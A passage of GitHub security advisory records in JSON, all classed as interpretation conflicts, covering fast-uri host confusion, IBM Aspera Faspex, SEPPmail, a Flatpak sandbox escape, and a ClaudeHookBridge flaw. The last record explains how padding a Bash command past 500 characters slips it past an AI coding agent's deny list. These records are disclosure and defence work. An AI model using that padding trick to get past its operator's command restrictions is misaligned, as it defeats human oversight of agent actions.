        "name": "fast-uri"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.2"
            },
            {
              "fixed": "2.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-uri"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.3"
            },
            {
              "fixed": "3.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-uri"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.1"
            },
            {
              "fixed": "4.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-75931"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T15:44:30Z",
    "nvd_published_at": "2026-08-24T10:16:40Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\n`fast-uri` canonicalizes a host to its ASCII form only when the input carries an explicit scheme. When `resolve()` resolves a scheme-relative reference (`//host/`) against a scheme-bearing base, it still emits the host verbatim even though the effective scheme is known, so re-parsing the resolved URI yields a different host than the one `resolve()` returned. An application that resolves an untrusted reference with `fast-uri` and then checks or routes on the resulting host can make a policy decision on one host and reach another. This is an incomplete-fix variant of CVE-2026-13676, whose IDN canonicalization was applied only to the scheme-bearing form.\n\n### Patches\n\nUpgrade to `fast-uri` 2.4.5, 3.1.6, or 4.1.3. `resolve()` now canonicalizes the host once the effective scheme is known, and fails closed if a raw non-ASCII host cannot be converted.\n\n### Workarounds\n\nResolve scheme-relative references against a base that carries a scheme before performing any host-policy or origin check.",
  "id": "GHSA-5jgf-p345-68v8",
  "modified": "2026-09-02T15:44:30Z",
  "published": "2026-09-02T15:44:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fast-uri/security/advisories/GHSA-5jgf-p345-68v8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75931"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fast-uri/commit/0256bc8d1f28b5d0ac657faf67e2411a189dfcb5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fast-uri/commit/444ecdad447db2cc23c4d422acc6f0daa6fa8eef"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fast-uri/commit/4e4ebd8b245f6ca16e448203559eea3e545453a3"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fastify/fast-uri"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fast-uri/releases/tag/v2.4.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fast-uri/releases/tag/v3.1.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fast-uri/releases/tag/v4.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-uri vulnerable to host confusion via skipped IDN canonicalization on scheme-relative references"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-45097"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436",
      "CWE-650"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-05T16:15:08Z",
    "severity": "MODERATE"
  },
  "details": "IBM Aspera Faspex 5.0.0 through 5.0.9 could allow a user to bypass intended access restrictions and conduct resource modification.",
  "id": "GHSA-5q69-34vj-qhx4",
  "modified": "2024-09-05T18:30:56Z",
  "published": "2024-09-05T18:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45097"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7167255"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-27444"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-04T09:15:56Z",
    "severity": "HIGH"
  },
  "details": "SEPPmail Secure Email Gateway before version 15.0.1 incorrectly interprets email addresses in the email headers, causing an interpretation conflict with other mail infrastructure that allows an attacker to fake the source of the email or decrypt it.",
  "id": "GHSA-5wwg-q432-32vv",
  "modified": "2026-03-05T18:31:36Z",
  "published": "2026-03-04T09:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27444"
    },
    {
      "type": "WEB",
      "url": "https://downloads.seppmail.com/extrelnotes/150/ERN15.0.html#seppmail-vulnerability-disclosure"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-6560"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-02-02T14:29:00Z",
    "severity": "HIGH"
  },
  "details": "In dbus-proxy/flatpak-proxy.c in Flatpak before 0.8.9, and 0.9.x and 0.10.x before 0.10.3, crafted D-Bus messages to the host can be used to break out of the sandbox, because whitespace handling in the proxy is not identical to whitespace handling in the daemon.",
  "id": "GHSA-5xcx-r88v-8v7g",
  "modified": "2022-05-13T01:53:07Z",
  "published": "2022-05-13T01:53:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6560"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flatpak/flatpak/commit/52346bf187b5a7f1c0fe9075b328b7ad6abe78f6"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2766"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flatpak/flatpak/releases/tag/0.10.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flatpak/flatpak/releases/tag/0.8.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-73614"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-13T12:17:26Z",
    "severity": "HIGH"
  },
  "details": "Network-AI ClaudeHookBridge before 5.15.1 truncates the target string to 500 characters before evaluating denyPatterns, while Claude Code executes the full untruncated command. Attackers can position dangerous content past byte 500 in a Bash command field to bypass the operator\u0027s hard-deny list and execute arbitrary commands.",
  "id": "GHSA-64vj-7c55-24w2",
  "modified": "2026-08-13T12:31:11Z",
  "published": "2026-08-13T12:31:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-743h-jr5x-mpcr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73614"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/network-ai-claudehookbridge-deny-pattern-bypass-via-truncation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}